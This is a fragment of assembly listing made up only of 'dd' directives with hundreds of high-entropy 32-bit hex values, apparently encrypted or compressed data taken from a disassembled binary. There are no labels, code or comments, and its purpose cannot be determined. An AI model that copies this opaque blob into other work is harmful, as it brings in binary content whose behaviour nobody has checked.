dd 0A5EFF300h, 0D1FF7EACh, 4002B660h, 7350B09Ah, 345F8601h
dd 1B93F877h, 1561E20h, 0BF66F2D4h, 2F61422Ah, 8B337528h
dd 0F9E5D5A7h, 0F90209F1h, 4B5190h, 971527E0h, 560238E7h
dd 50BDE331h, 0BE21E060h, 0F5A10086h, 0F906119h, 0B0B3DFBFh
dd 4D20B220h, 0B5E9120Eh, 0C4F3E20Ch, 2E195C6Fh, 7BA675C1h
dd 580DADBh, 315C2AC2h, 0F2B39ED2h, 0C740572Fh, 9095905Bh
dd 544695h, 32B1750h, 408AC564h, 0E45FD9FDh, 5D071B0Bh
dd 5092ED1Fh, 0B6F65B96h, 61ED6EC6h, 1C6E7EF8h, 799AEA00h
dd 0F92DB6B3h, 89A55D02h, 5C037595h, 0CF8452E3h, 99C6B9DEh
dd 0BA100C72h, 0E4038BD7h, 3B5A04FFh, 6ADAA17Fh, 0ABA5C120h
dd 0FDC24AC0h, 0AAE6D2A1h, 2EB997A0h, 0BC5C700h, 0CACB6EADh
dd 81FF016Ah, 1C298DEFh, 2DA86025h, 847A1D5Eh, 4F0E4207h
dd 2FD6F062h, 0B05868F6h, 0DF30C01Ch, 12F5E18Ch, 0E6FE8B17h
dd 588A72D8h, 875208Eh, 2D101D9Eh, 0B0611Ch, 0E6D5F380h
dd 890A5170h, 942869B5h, 9871E489h, 0A46851h, 84D49063h
dd 97C5AB4Bh, 961279E2h, 0F8E4E7AFh, 0FA9ABDCBh, 6625F956h
dd 0D0825AF0h, 4EB56058h, 0CA2C9690h, 34327061h, 0E621F7FAh
dd 9229258Dh, 0F9E1D8B5h, 52E1BBCDh, 372D85FDh, 0F8C82B13h
dd 0FBA68052h, 6F920F1h, 0FCB3D0Ah, 5FE01B87h, 0C1D18B26h
dd 5E1A4D09h, 0AFBFC041h, 625C99B7h, 6C935B13h, 112DB129h
dd 0F4660CA5h, 0F33F04B0h, 0E292CBA7h, 0BD31200Eh, 44893075h
dd 97DE874Ch, 49A10BC6h, 9667A2F5h, 29DE9195h, 14FF8A08h
dd 20BFC3ABh, 24A58B28h, 0BD2BFE0Bh, 0B7505ADDh, 0A409CA13h
dd 73F1D3DFh, 0E7C708B8h, 75810F09h, 9DCB7418h, 4F6A9A38h
dd 0ACE004A6h, 4E627A5Dh, 570E75DAh, 18E4B9CDh, 91548D60h
dd 296ACE03h, 0B3505B5h, 0EF0B94Ch, 0D340534Fh, 9DCBDC12h
dd 0A800A8E4h, 2E1A1648h, 3C64F9E2h, 0BB80B38Bh, 58DD93BAh
dd 8A97DE9Bh, 91628908h, 426E40A4h, 0B489049Fh, 0C3E15118h
dd 0FCD966E7h, 245C33B8h, 5144518Bh, 1A3E08EEh, 0D22B5B05h
dd 2DE9F5C1h, 0F0C8AC04h, 5A0D9D2Bh, 337A61Ch, 47F62476h
dd 33929C6Fh, 0A5AE5C5Bh, 139337B7h, 0A710AA08h, 86818D71h
dd 0FECC155Ah, 97199C8h, 5F5BE404h, 9895F9C6h, 97D98ABCh
dd 8084A215h, 3FC181D7h, 0DE3A1105h, 5A70935Fh, 0A64A4BFh
dd 0B6BB316Bh, 0E23A128Dh, 0D56889C6h, 2F80353Dh, 0D585E093h
dd 20BF9027h, 0FE861925h, 10CD5CA0h, 6EA5F591h, 0F96D9FABh
dd 76A2AA40h, 551A0077h, 93FD6935h, 2364E1FFh, 0AAB813DEh
dd 664EC7E3h, 6DBCD2E9h, 6077A00Ah, 0FA22E856h, 61812D71h
dd 0ABC6282Eh, 0E3FC61D3h, 254A2F2Bh, 0F62A661h, 0A9C11CC8h
dd 0ECCCBB6Dh, 3ADE05A6h, 0FC880F6Ah, 0C8EA081h, 9A072D4h
dd 6098DE54h, 4170677Bh, 7C20A90h, 12E60812h, 2ABDE1FBh
dd 0B008D6Eh, 6346E4A4h, 0A97147Ah, 1D0982DBh, 9AD57109h
dd 1C5437F3h, 5CDE8A62h, 0C38060B4h, 0A1B0906Eh, 9D88504Ah
dd 5A4B16B2h, 12AE5658h, 1EF6FD3h, 50B4C178h, 7662800Fh
dd 855C814Eh, 0B5010002h, 0A60D4539h, 0DA270566h, 0AD6804FAh
dd 0CCDFEBCAh, 5F003F2Dh, 0EA1A8AF7h, 794400Ah, 7B9B63DDh
dd 0AF23B4E6h, 5731FDCDh, 605B27C2h, 39522404h, 41203325h
dd 702A0974h, 599D0387h, 0CC602641h, 0EC0F1208h, 4E6AE777h
dd 0CBA0B2F6h, 5B175131h, 0B356BFE9h, 0CB811C9Bh, 9126FB7Dh
dd 0CC4A6DC2h, 2B97FC7Dh, 0F4C05C72h, 3E9EDB14h, 25D45AC6h
dd 6FD394ACh, 49A32511h, 372EDB4Ah, 76BFB3B3h, 0FAA93E4Eh
dd 15001DBCh, 2F21E3F5h, 4D9D314Bh, 0F131EB5h, 0C0C8F882h
dd 81603E26h, 91EAC8h, 7FB86812h, 612401CEh, 6DB23A97h
dd 0A8396026h, 0C2129CD4h, 0A0E1CA1Bh, 0B8B80939h, 0BC4C050Fh
dd 0F9B2E56Eh, 0C8BA5384h
dd 8B16605Ah, 940161DAh, 243489F8h, 18C6E2Ah, 217213Bh
dd 0BDD8D05Fh, 8D290984h, 0E573159Dh, 0B70F6080h, 96861D8h
dd 0E2F084ABh, 0C24FC78Dh, 7F54B048h, 0F51D2E28h, 0F6D5ED09h
dd 0AD517175h, 20797F11h, 0C000992Fh, 8BF7161Fh, 2FE2BC4h
dd 3CC1B091h, 0BADC5042h, 3C3802F6h, 9E51DF6Bh, 6606F14Ch
dd 616387BBh, 737F2E0Ah, 0E3019293h, 1988D37Ah, 0A7E04Bh
dd 0D26B51A2h, 0E6FF763Ah, 0EF120672h, 5BB2118Ch, 4B100C8Eh
dd 812152E0h, 0F5C248E9h, 0D2461D97h, 13D45054h, 54659C2h
dd 8E2BF99Dh, 174F7DE6h, 3BED09ADh, 0B17213C9h, 2FFE8107h
dd 0ACB2904Eh, 102525Eh, 77271214h, 25D19695h, 0E9DB03D6h
dd 6881DDD3h, 742B09BDh, 0C8CDEF49h, 4D4AA47h, 25FCA252h
dd 950066F9h, 0C70A953h, 0F4FF0714h, 9456C999h, 0D7D0AD79h
dd 0A180A6DAh, 999509FFh, 5A2BB7h, 9CBA600Eh, 2E26004Ch
dd 28E8CCBBh, 1AB86109h, 8A00ECA6h, 981A5021h, 1DD0D2F9h
dd 81B79314h, 0D61715A7h, 0A7127AF5h, 9CBD5A13h, 9B0116B8h
dd 782AC62Ch, 0BB4D301Ah, 73F08E76h, 4538A5D5h, 4CC99CFFh
dd 69DE15h, 0BD5B9496h, 0F400F64h, 43EEF723h, 67828160h
dd 9977F0Ch, 0F65AF622h, 28AB3009h, 60EDFE34h, 1A6BD9DFh
dd 847BE109h, 7B161A80h, 31E47841h, 0DE028BFAh, 9F0E1205h
dd 691D5CA5h, 90021264h, 0DFB64522h, 3259F6B2h, 0A5C5F23h
dd 201C5166h, 5B4B23C9h, 10E0EA34h, 0E372C056h, 0DB6F8EFh
dd 8ED08995h, 589AE9C6h, 0B75309CFh, 0AA5B5FB4h, 0C35ADh
dd 9019AF08h, 0FBECC4CAh, 0A7C4834Ah, 9BEC5EE9h, 7693E500h
dd 0D98B4226h, 0DD73956Ah, 4888478h, 8E0F2CCAh, 0BD294206h
dd 962C5C89h, 6651939Dh, 6D46D8BAh, 0E5574D9Fh, 0C12BF9A7h
dd 418D2B60h, 0FC4134h, 0BB509661h, 5DA6FA56h, 1D815B4Fh
dd 81F60D29h, 6AF4CFE3h, 6FAF4654h, 6EF02538h, 0D48094A4h
dd 0E165B812h, 0A26F52FFh, 13768E90h, 0D2E84FADh, 99C341FFh
dd 8D0F0105h, 0E94E21B1h, 63CC100Dh, 35940BB8h, 0A67C8D92h
dd 0CD6C0B69h, 995FE0BBh, 0D50BA992h, 0C49C5013h, 58E70052h
dd 98BEAA5h, 381EE55Eh, 0B70986C4h, 45B73DBh, 0ACF7EF80h
dd 0EB4ADEF0h, 51491294h, 0F86082ACh, 0EBD18A0Fh, 8913F18Bh
dd 44AB51F4h, 0F3814032h, 4AD1C2F4h, 3B91CD39h, 0B75B306Eh
dd 0B2844AC2h, 0BB5ACA8h, 0EE02344Ch, 7D7F460h, 0C124D99Eh
dd 0E9E012A6h, 0FC098F39h, 0C153362Ah, 5B02060Ah, 103CCC77h
dd 2405399Dh, 438E9090h, 0CEB1D727h, 0F99D993Ah, 506739D1h
dd 22A11350h, 80D52BA5h, 40BC92FDh, 8F71D203h, 138CBFC4h
dd 0BE6B3AA4h, 2A991644h, 75BD0130h, 0D95013CBh, 86291DC0h
dd 0B8F98F5Ch, 173B7203h, 0D815AA6Ch, 9D4162Ah, 0FC8ABB32h
dd 2404C702h, 0EFE48EEDh, 0EC960BE8h, 5DCDF0D3h, 0ABF0111h
dd 5B15F54Eh, 6DE63F6Ah, 73E162F0h, 385B4CECh, 0F6698BB1h
dd 3A1379BCh, 0B282514Bh, 36C57703h, 402BCDA5h, 0E22247D3h
dd 1220E548h, 5BB3EF15h, 0FFDE8A04h, 25DBEFD1h, 0BAC08E81h
dd 0D4D3FDAAh, 2F2508CDh, 165C65F5h, 0EC41A9ACh, 0A74F4E96h
dd 0F6009E2h, 57916A86h, 72596E10h, 0D1C59500h, 401E43B6h
dd 1CB39C58h, 2D18519Dh, 0E33702h, 0B4D8C74Bh, 0D7123059h
dd 0B4F019C1h, 90283B53h, 0A09CBB04h, 2A73EF50h, 0A59BFDDFh
dd 1326B8D3h, 85B7035Dh, 0C4007458h, 0E95358BDh, 96950DE8h
dd 0D44449D5h, 4A66E4Fh, 501453Fh, 208BE7C6h, 18951E61h
dd 9D90F9D5h, 0EEB8C313h, 13002E4Dh, 52D54EA3h, 2DD886h
dd 3A9F5D9Bh, 5F22B3B1h, 0E805FFB0h, 9029D960h, 0E89D004h
dd 0E8A4A5ACh, 114580DEh, 0CAAF63h, 37E17E59h, 9F138A36h
dd 0C688501Eh, 80823084h, 849DBBADh, 0AB106195h, 9D015F70h
dd 7AAF9559h, 39F6FB6h, 3F0CA72Ah, 8848A976h, 7F95CB40h
dd 7F2D5835h, 0B91B8516h, 0E801E8D6h, 54E05D3h, 5EAF502h
dd 0D930A9C1h, 0A5332AD6h, 671F84F0h, 0C3B02E91h, 8C53810h
dd 3C70E618h, 7125E4F8h, 0D28869F5h, 52FA1E54h, 6E8BA176h
dd 17B94B20h, 7B98CAh, 9A9E5FD0h, 6FE1C6D5h, 0F8FE6002h
dd 5D3784C0h, 0BD2AA466h, 9095BEA1h, 71FC9907h, 2EBC2C8Ch
dd 0FD8A09A3h, 0B325A658h, 29A0607Ah, 15DD258Dh, 0FE609C6Ah
dd 93094F7Ch, 0D18B08h, 0D76AF7BCh, 590165E9h, 0EA0BC4F9h
dd 0AEB34F44h, 93D85ACh, 124D25B6h, 1BC999C4h, 0FD8D8B1Dh
dd 9252B929h, 18577882h, 90E78095h, 5A3E5CB5h, 19AEEFC2h
dd 0A9041ADFh, 149151F7h, 79C6AB27h, 0A5508504h, 5224FE18h
dd 26101489h, 14F85B1Eh, 0B096395h, 0A6A9B99Dh, 0B8088F53h
dd 0AD311DF8h, 6A924B56h, 0BBBCE4FDh, 6D78B301h, 15D8DE14h
dd 4AB26630h, 7F8CDD02h, 7602746Ah, 752B95Ch, 4E50D2A9h
dd 0F537BDh, 99D1BB63h, 93B043F3h, 0FC8001F4h, 4A15EE29h
dd 0F69982Eh, 2BDFB709h, 0DC8E56D2h, 9AA64B25h, 0D1B6029Ch
dd 0DA7F560Dh, 0A470BDD3h, 76E800F3h, 14F44C5Dh, 9D1329C7h
dd 7AFB2F11h, 83E1004Bh, 0BCE889CBh, 98D9C6Ah, 0BB582D3Bh
dd 4445EF9Fh, 0F934EB95h, 0A7D626A8h, 26A5EA8h, 24F7592Ch
dd 0B6116039h, 56017683h, 70B07A77h, 8C89C0Fh, 4DAF0E5Ch
dd 0AD7215E5h, 529AD3A1h, 9C9F2F80h, 0E00414BFh, 0BEB2733Ch
dd 76AD08B8h, 0F512E0A8h, 26B6097Ah, 2B021802h, 9C552D9Dh
dd 96D684C1h, 4C00DC5Dh, 20E9FD1h, 0E1B873F0h, 40E0C577h
dd 0A001D269h, 0B1D03522h, 0C4204F06h, 0B2294A7Dh, 0D7F9D6C3h
dd 927F82A8h, 0E41979Ah, 40C18120h, 0E104FF30h, 5BFCB357h
dd 17A11BB8h, 0B8F72E04h, 32A658A0h, 6ED36516h, 0ECD3181h
dd 44D22079h, 9E03FDEBh, 0F959C4A0h, 9DA230B8h, 0D625A828h
dd 0E66093D2h, 4FC7E0ABh, 21C50325h, 832E88BBh, 4A00B8DCh
dd 62E0A2A6h, 2257C68h, 56FE6106h, 6600F873h, 189638A7h
dd 16003B93h, 0ACA4D37Bh, 584E9E8h, 9D23304Eh, 4F49EA51h
dd 3417725Fh, 0C1430136h, 2ABD2BEFh, 73B98674h, 0E70016A8h
dd 0E1E874F1h, 9A84CB80h, 6DC9257Ch, 45D743C2h, 0DD352D36h
dd 39ED6400h, 754B1FCBh, 0C61C2F44h, 4A50690h, 0E2E5C805h
dd 1DAE5C3Eh, 0B7768116h, 7F6ABF02h, 5117236Fh, 20FFFC4Eh
dd 3310BD1Ah, 0E3005895h, 0B096C05Ah, 50DE9Ch, 0EF6886B1h
dd 8B0A3EC3h, 3481FA01h, 21C01024h, 9554C13Fh, 0C2CB2A1Eh
dd 0A0A0A64Fh, 3F229C8h, 440122F4h, 724E200Fh, 620051B2h
dd 0E68EFD52h, 780B41E7h, 536ED7Bh, 0C9491D72h, 0A777715Bh
dd 67E94DE0h, 94F7014Ah, 0B9DA4DA0h, 3AE10B0Dh, 352B92E3h
dd 2C72815Ah, 0CFD92ABEh, 2B39F13Fh, 252C3F76h, 0D55B2E82h
dd 17B5ADh, 9A7E50C5h, 0E613B835h, 360420F9h, 29030A0Dh
dd 1F9C71B5h, 0A2B7013Ch, 0AFDEEF81h, 912637F9h, 5DBD010Dh
dd 0FB7B2AADh, 0B158F84Fh, 2B6C73B3h, 0BD12C648h, 0B4B2AC17h
dd 34C0259Ah, 320B9406h, 891FBF04h, 0D1805AFEh, 72F95D7h
dd 0C047E168h, 82B3F7CCh, 0F1566A98h, 5EBC1E02h, 0A1027F33h
dd 6277DCE3h, 5318AB3Fh, 4AE9783Fh, 1DC4A516h, 0E8B3C8h
dd 4CC6F6C5h, 472BBB37h, 7C2D0A74h, 6AC69867h, 0A0E100F1h
dd 42DFC69Bh, 31133C3Eh, 2C42E3E9h, 4CDAB70Fh, 0C78101ACh
dd 73213E43h, 6D6E3B61h, 0BB321F12h, 2329F304h, 23977FABh
dd 0F24A1314h, 6A5A0032h
dd 392BA5FBh, 0E6F10029h, 0DB1458D0h, 0F412E4E2h, 0C04716Ch
dd 38AA2FFDh, 0FB97369Ch, 7562D837h, 0C7A47924h, 0A0D91Fh
dd 43A8E781h, 21E914E8h, 631231D2h, 6BACDF94h, 69E697EEh
dd 0DA85EFA0h, 0F6001EFCh, 0FB8B6D89h, 254929BBh, 71C5719Bh
dd 8652B617h, 1901096Fh, 6875CBBFh, 0AFBEE449h, 53E1F895h
dd 7FC5F729h, 4C7ABA04h, 73C2127Ch, 0C7AF3078h, 0D300E49Fh
dd 57077DFFh, 2FE20280h, 299A6E05h, 4DE71C40h, 6F8D744Bh
dd 21C9B63Eh, 9B3248Ch, 805408ADh, 71D8C9EEh, 0F90BBF5Eh
dd 71985096h, 990008A2h, 7401305h, 0EC042660h, 0FFEA0551h
dd 0BCC989CAh, 6FDA2E56h, 12F89617h, 4ACECA4Ah, 1AC8D89Ah
dd 76D22FC0h, 37DB2F27h, 8CB84C82h, 0C85E6792h, 4D0D00DCh
dd 0BDE963CBh, 0B112AE7Ah, 0EFA9DF8Bh, 0A1E9B6D2h, 0D43895CFh
dd 0B953120h, 0F627D6E3h, 77B6AD00h, 0F4509BDAh, 18F500C8h
dd 78C9F381h, 90961BCh, 0CE11C59Dh, 0E9C29747h, 8B75E362h
dd 0AD9FADDh, 42D74BE3h, 412C60F7h, 9101CA57h, 2369A364h
dd 0CD7FB8AEh, 0F942948Ch, 205012D6h, 0ABB846B9h, 0CA048AE8h
dd 0CBF99356h, 14D1A81h, 0E5550905h, 4F5BADA9h, 0B25899A3h
dd 12350014h, 9097385Eh, 8F80D458h, 4C73250Ah, 10B756C6h
dd 9253133h, 6AD00377h, 8400B7DFh, 0EFBEC6C8h, 3DE859C0h
dd 0E2CB4B11h, 7843E02h, 1BB9CA0Fh, 66194D10h, 46DE171Ah
dd 22F0F635h, 0F7310007h, 1687B83Ch, 87BC5BEFh, 0DCBAF46Bh
dd 0AA0AF400h, 0CFFAD7A3h, 96F8258Ah, 0FB41CFDAh, 0F90702h
dd 585A6160h, 906704DFh, 3D1C53h, 4FE666BDh, 0DA3CF9CAh
dd 0D9F13207h, 0EA608485h, 9C96784Ah, 0A913DC8Ah, 61EFEAE7h
dd 2821B50Eh, 44DA4B43h, 0BAC116C8h, 0D4205CBCh, 95A29A31h
dd 24BF9998h, 4A20B212h, 37887CE2h, 0A3CF8180h, 505ED27Ch
dd 9FD99850h, 108310BDh, 8884EFAEh, 0BA94197Bh, 0F1A15B05h
dd 506B2E92h, 0E5001C23h, 3EBC7C42h, 0AE916F6h, 0C170048Dh
dd 5475AB10h, 0B731CEC2h, 8216113Ch, 6851938Eh, 977E3B46h
dd 40F38A1Ah, 249D670h, 7A839A14h, 0CBE06034h, 5081058Dh
dd 975BFADCh, 7B6BA914h, 7040FB45h, 0B12CA11h, 4404DE8Bh
dd 0B712069Dh, 0FEB94EC9h, 0D03A7A8h, 374063D4h, 20BAD5CFh
dd 3578019h, 0E22AF004h, 7AEFC69Dh, 33881249h, 0F6D2F2E2h
dd 0C14FE0D3h, 2EDD0021h, 0D8E9F863h, 7CE3FFF2h, 79FF72CEh
dd 498CB83Ch, 8D4BA3D3h, 6AF73F08h, 13DEFA27h, 80429B7Eh
dd 0E55FBDACh, 6330E46Fh, 0D7814650h, 68D97998h, 0D6601017h
dd 60A7A009h, 404A5452h, 0B67E54B4h, 79080201h, 58F8CDB1h
dd 9B7D82Eh, 18B9855Ah, 452D313Bh, 21832BAFh, 0A6E5167Bh
dd 5ECAE2B9h, 0DA012F4Eh, 0BC50D55Ah, 0ABFC47Ch, 4F1498E4h
dd 0C44DADA8h, 0F615A4C0h, 945E1796h, 3BCF0643h, 8A4B4CB9h
dd 2BC00CC4h, 97E99529h, 0B725EF14h, 93CDC483h, 0EA61D008h
dd 36EBAF03h, 7B6570A6h, 55BC0BF2h, 1037D1FFh, 0EFC5386h
dd 0BBDF124Ah, 8BF0E254h, 0E0A6DEA3h, 7E8AC303h, 0DADB2C01h
dd 0E0493A07h, 4B6AEED8h, 80B5DB02h, 45B67BCBh, 2287B0C2h
dd 0F85A018Eh, 9EF81584h, 0CE1F2880h, 0FF009FC8h, 265E98A9h
dd 1F7E623Ah, 2C5F17B4h, 0B0512DE7h, 0F5C42Dh, 0AD11679Dh
dd 494ECF8Ch, 84F5BC0Eh, 0AFEC02CAh, 0AF3BE51Dh, 0DD003635h
dd 0BD9CA592h, 234903CFh, 9D0B554Eh, 0A9DD209Ah, 0C4E759CAh
dd 0AF83852Bh, 0D613216Fh, 0BA4D5273h, 0E2B3AE12h, 6090F80Eh
dd 0CDD6B820h, 615B34B4h, 708359F8h, 0D0F05F5Ah, 511632FAh
dd 3FC8585Bh, 0FCED0039h, 38CD7180h, 1A02C69Ch, 615F1BBEh
dd 402DD450h, 55F49B7Eh, 146F3Eh, 12BF9057h, 976D5DC0h
dd 0BDF7FA12h, 0E4E9012Ah, 70DA4B75h, 2C412D17h, 8107642Eh
dd 2F17E132h, 1AE60775h, 4E29E0E7h, 1E250E83h, 271C4A5h
dd 11D53796h, 2DE1E293h, 7F6A1219h, 42E045EDh, 128A5A4Dh
dd 0FC1E336Fh, 82D658E6h, 0D41FC9B5h, 50D1427Fh, 15C20C5Eh
dd 0BF900B01h, 0B7007436h, 43E44F20h, 1CBBF144h, 0E523061Dh
dd 0F28419E2h, 70E60622h, 677D6772h, 0DB56603h, 8471E42Dh
dd 25BD80A4h, 605FDE22h, 7D1CA309h, 35D5CF30h, 2C8FE901h
dd 17D935Ah, 3196E26Ah, 0C8B6445Eh, 5AC1A030h, 0D0DCBC51h
dd 0E39D7AEDh, 0A9574BC6h, 7E4E48E5h, 52512F02h, 54299D31h
dd 655B1CA2h, 8102C95Ah, 2BA1C5E7h, 0D79A57C8h, 2797436Ch
dd 40F5EB2Eh, 0F790E937h, 5C6EA0C0h, 35107502h, 23A6622Ah
dd 27355E0Bh, 5E0E8A84h, 29D24B78h, 1C892810h, 0E922204Dh
dd 0D372CE49h, 1A5DA009h, 0B1E455DEh, 7CB4102h, 0C09EE285h
dd 137E86ADh, 64CDFF0h, 0ED10F91Ch, 1C3C1197h, 0F1CE0714h
dd 1A5D5D9h, 89F5FE2Ch, 81625095h, 0C94B1FCFh, 4C7C31D8h
dd 50023701h, 6A5FBAB3h, 0E00CED5Fh, 0F8FC4383h, 11AA7B97h
dd 0CBEC1C11h, 7DF52700h, 0FBEA75h, 71A5F925h, 0C5078B78h
dd 993B919h, 0F543572Ch, 5214F072h, 3DF6A15Bh, 3F83DD6Ah
dd 9700076Ah, 9A618DCBh, 14485DCEh, 0E5092A80h, 0A5E09BA6h
dd 0ED550200h, 99094C60h, 156A0414h, 0AEFC4D9Ch, 13C0499Bh
dd 264B5182h, 0FEF64D02h, 5BC02BB6h, 0C0DD726Dh, 6DB2B74h
dd 0C784504Bh, 0EDB721BAh, 0D7BFE0B3h, 140220F6h, 71D46B23h
dd 0F522C2F9h, 0BD11D704h, 0FFA6F486h, 0D1D80A0h, 9E2C23Ch
dd 7E3CB076h, 0F8A143DCh, 807C6FF0h, 5F4FCB09h, 4A25568Bh
dd 977720EBh, 1B117335h, 0AF12CC80h, 5E128AA3h, 91CAC20h
dd 2D70DA7Ah, 0BAA59D23h, 0E545B5E2h, 970B1551h, 0F57EAC21h
dd 1F5765C8h, 13244A0Eh, 15E5027Ah, 275E4448h, 0B8144651h
dd 8B528105h, 372E5FF8h, 12559BDEh, 0CC9C48BDh, 9FFF72E1h
dd 26009CB7h, 1533FCC6h, 91DF01ABh, 0D58589A7h, 8E2B21h
dd 4804EE10h, 0B4292A97h, 4460B89Ch, 4FD4E542h, 30F3DBh
dd 6C7455D3h, 2527F3F1h, 0DDC55B0Eh, 0CF04DC09h, 0A87F421Fh
dd 94A0C479h, 0C795D577h, 6D701B19h, 147F8AB2h, 74B001F1h
dd 88FE7059h, 5664CC34h, 8094C500h, 0C1860D99h, 60B12FBAh
dd 0AD00AA37h, 0F5CF6CAAh, 0A2BB0352h, 5B668FD2h, 7DD98C91h
dd 9D6EB942h, 6122E52h, 85E0A1B6h, 4E50FD92h, 9417028Eh
dd 79F24C97h, 0C47EF200h, 0A230DE7Ch, 0C712F400h, 0EB0A17F9h
dd 0A1955B83h, 24442EEFh, 0C7BD0152h, 3B292EE9h, 3DA87569h
dd 1000C87Fh, 0BF0755FCh, 5A8B71E9h, 0B230E6DFh, 0F9AE301Ah
dd 1F5C1806h, 3F8C6D2h, 0D6BB50D8h, 0B1C4F610h, 456E2B60h
dd 0C45ADF00h, 0D4CE7398h, 29556A0Eh, 0F7E27395h, 0B5107A48h
dd 10013B26h, 680008DDh, 61EC8156h, 0E5B16051h, 59B84E80h
dd 0AEE5BCh, 0BEAFF76Ah, 48683ED6h, 514232C0h, 975B6158h
dd 82A94681h, 0E4C16EF3h, 752F18E5h, 0D0B01F46h, 2C194828h
dd 4ABBC93Dh, 1A88FDDAh, 64E100C9h, 16DA0E67h, 0F88D0F3Ch
dd 0B55FC19Fh, 0DE6BEEE9h, 0C4A6C03Ch, 1C3F66E4h, 25AD8529h
dd 0C6A59A73h, 594DB73Ch, 0D5C60FC2h, 0EAFC3D42h, 0D6C80E0Bh
dd 0F602F4BBh, 0B521A966h, 3F7D51EFh, 149CC602h, 7F5EA18Fh
dd 80EEB5E9h, 0A4F279FBh, 5D16886Dh, 0E017D3FEh, 33B73F9h
dd 8927925Eh, 8202FA56h, 4C17ABA0h, 890CA2D3h, 277D7306h
dd 6E0081B5h, 0FC59783Fh, 3B3701CCh, 8953B350h, 0F2E66E34h
dd 4B84E8F4h, 97E7B012h
dd 8FD09A5Fh, 0B551A04Ch, 5ACCBF66h, 933DE2A2h, 0BAC021FCh
dd 0D9A4AE77h, 50BCB217h, 0FA409B30h, 303DFA02h, 0BF6B8B5Bh
dd 0F63C716Fh, 129DF012h, 0C461F1D5h, 60E8C85Bh, 35C4B5h
dd 0AA706551h, 6461EF31h, 1F88B35Fh, 90F700E5h, 0E7B292F8h
dd 3702A02Dh, 615E7EAFh, 0E024ED58h, 4708809Dh, 53E9C104h
dd 2E8EE1Dh, 78BEA1D6h, 8DD82640h, 4DA658AFh, 4922BABh
dd 1B8D6Bh, 0CFEF8161h, 4DC42CC2h, 0D4FB6041h, 1F000601h
dd 76AB46DCh, 9D9A98Eh, 0A5F55F4Dh, 4DEBBC79h, 0F171401Bh
dd 0B504DD5Eh, 0F98BB2B3h, 4BA2B0B8h, 80FD3D5Fh, 4023FB68h
dd 0CD8085F7h, 3AE98028h, 0C9BD58D7h, 64E7C8BDh, 0BCCEA94Bh
dd 0B99DC8B9h, 29BD074Eh, 9A12A9E8h, 2FF2870Fh, 5D248E21h
dd 5E15A909h, 0A8F77138h, 0EF85506Bh, 30BE44A0h, 0D4CEF6EBh
dd 417D632Dh, 0A2050A20h, 9F1E00C8h, 334DE5F5h, 0B6920274h
dd 1930BB0Eh, 7B093AD7h, 378F504Eh, 5F0052FCh, 63BB69A0h
dd 97233B6Fh, 0A0414C95h, 0A3F4E5F2h, 5A901489h, 4125E3FFh
dd 0E712EAC4h, 0E0F69EC4h, 5251BD16h, 7EE7A128h, 0E0164220h
dd 7FC8002Eh, 0EDCD644Bh, 66580A08h, 70F8029Dh, 754D3947h
dd 0F8504E89h, 2A2610BFh, 386D0114h, 0BA835ABCh, 365EF80Bh
dd 7D99307h, 70795758h, 5B79950Fh, 0D55D2980h, 0FF22946Fh
dd 7F40E6C4h, 3C2B1CD0h, 0B846CBECh, 965FF5E0h, 2AD38102h
dd 426B3F6Ch, 0FEBF5D07h, 8779BA0Ah, 31184D08h, 0DA2EED0Ch
dd 46DC4674h, 0E4EB001Bh, 73BE425Fh, 20744E14h, 3920314Ah
dd 337FC001h, 969A592Eh, 0BF0F0626h, 17E91C60h, 0E0AD31D1h
dd 9D3C79E9h, 3D7D1309h, 0EA578946h, 0C586C9D0h, 80C0DB97h
dd 0A08C7017h, 9404BF1Ch, 33B5A9B2h, 572CDD82h, 0C7132C9Ch
dd 1DA06318h, 36EA1CBBh, 342278Fh, 0F9B7F5h, 39FE03E5h
dd 6EB50706h, 0F38012F0h, 3CFF3E5h, 69952950h, 0D7A15F1Bh
dd 0B81094F6h, 86A6B450h, 98C0F6A2h, 73BE1EBAh, 0F46254A5h
dd 0DD14DA17h, 466E5D04h, 2A802EFCh, 3263FE6Dh, 0DC0018B0h
dd 0D221BCB5h, 167B5528h, 4BB7AEE8h, 0C5A9F9E2h, 9DC0816Dh
dd 0AA037E6Bh, 763D5D8Bh, 80842F8Fh, 45E60CE0h, 0A1424F32h
dd 0B5C83F1Dh, 5BAB25DFh, 0B5A5347Bh, 13010024h, 0E566FADCh
dd 0E635B01Dh, 11BBE5E5h, 0F7800030h, 0DBBB5023h, 75E82A4Dh
dd 7813B398h, 30A9F7Ch, 0BF2E5D78h, 29199DA3h, 0CB6A0CF2h
dd 36DA4FE4h, 402E0B8Ah, 902931BBh, 88CC4B4Bh, 5C9497F8h
dd 63604345h, 0DD244B15h, 8B092B3Ch, 0F474D6C6h, 0C6FF960Ah
dd 3099F1CBh, 0F93C8057h, 0AB1915C5h, 1F81C23Ch, 0D78A8CF3h
dd 0A841161Fh, 0A8B85ABDh, 0C1B10133h, 15458DC0h, 9906EB5h
dd 57F56053h, 0EF5692C2h, 0DC6AF88Bh, 0F405DEE2h, 101D9531h
dd 0EDA2D724h, 21A47601h, 852088AAh, 168B5A86h, 7A5ECDBBh
dd 0F6A001A6h, 8E77C112h, 0E0555704h, 52C1D477h, 90011FF5h
dd 630A3060h, 8D0FCD12h, 4CBA51D0h, 3541174Ah, 9630FA61h
dd 14BC2ECh, 655E8939h, 651EC377h, 7F7403EAh, 982142B0h
dd 0FFEB6600h, 44947905h, 1FB30170h, 0C90613E3h, 0DEC56BB5h
dd 30F58DEFh, 906B5BD6h, 6D255FA0h, 0BCA0AD6Ah, 0FAE19FBDh
dd 5126A50h, 6C7AAFh, 93F4A973h, 12E94597h, 0F3079BBFh
dd 0AA512615h, 151E8001h, 7FC68D5Bh, 0D3EB8647h, 0A8000EBh
dd 79376A6Eh, 0AF42F609h, 21740213h, 0D1FF022Ch, 0F4E0A74Dh
dd 0FEADDB75h, 890809CBh, 1F790CD4h, 7BAF134Fh, 0BA140076h
dd 8CA7AA96h, 6A0312C9h, 0E153A602h, 983B1A9Fh, 8C1EBBDEh
dd 88DF9018h, 61315665h, 1005E9C8h, 24AD17C2h, 275EF442h
dd 2D8B806Ah, 0ECFB3F19h, 0DC0024C4h, 22188F95h, 0F2B15EFDh
dd 0EDD502EBh, 0A8B31FE0h, 2BBD3BE1h, 0C329B553h, 3AA82F7Dh
dd 21409D00h, 3E517F2Eh, 0B3DB4A31h, 91C15F6Bh, 0CE6AA2E9h
dd 8B6410F5h, 241584h, 1AC002BFh, 219A9725h, 887170D3h
dd 82E0E0h, 8BB0F550h, 39BB90FBh, 45F8591Eh, 8C2E90EDh
